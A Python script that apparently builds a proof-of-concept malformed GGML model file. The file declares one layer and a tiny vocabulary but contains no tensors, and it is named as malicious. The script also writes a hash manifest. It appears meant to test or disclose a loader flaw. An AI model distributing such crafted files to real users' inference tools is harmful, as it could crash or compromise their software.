build_poc.py

#!/usr/bin/env python3

from __future__ import annotations

import hashlib
import json
import struct
from pathlib import Path


ROOT = Path(__file__).resolve().parent
ARTIFACTS = ROOT / "artifacts"


def sha256(path: Path) -> str:
    return hashlib.sha256(path.read_bytes()).hexdigest()


def build_minimal_ggml(path: Path) -> None:
    buf = bytearray()
    buf += b"lmgg"
    # n_vocab, n_embd, n_mult, n_head, n_layer, n_rot, ftype
    buf += struct.pack("<7I", 3, 1, 1, 1, 1, 1, 0)
    for tok in [b"a", b"b", b"c"]:
        buf += struct.pack("<I", len(tok))
        buf += tok
    path.write_bytes(buf)


def main() -> None:
    ARTIFACTS.mkdir(parents=True, exist_ok=True)
    malformed = ARTIFACTS / "malicious_missing_ff_tensor.ggml"
    build_minimal_ggml(malformed)
    manifest = {
        "format": "GGML (.ggml)",
        "path": str(malformed),
        "size": malformed.stat().st_size,
        "sha256": sha256(malformed),
        "layout": {
            "magic": "lmgg",
            "hyperparams": {
                "n_vocab": 3,
                "n_embd": 1,
                "n_mult": 1,
                "n_head": 1,
                "n_layer": 1,
                "n_rot": 1,
                "ftype": 0,
            },
            "vocab_tokens": ["a", "b", "c"],
            "tensor_count": 0,
        },
    }
    (ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2))
    print(json.dumps(manifest, indent=2))


if __name__ == "__main__":
    main()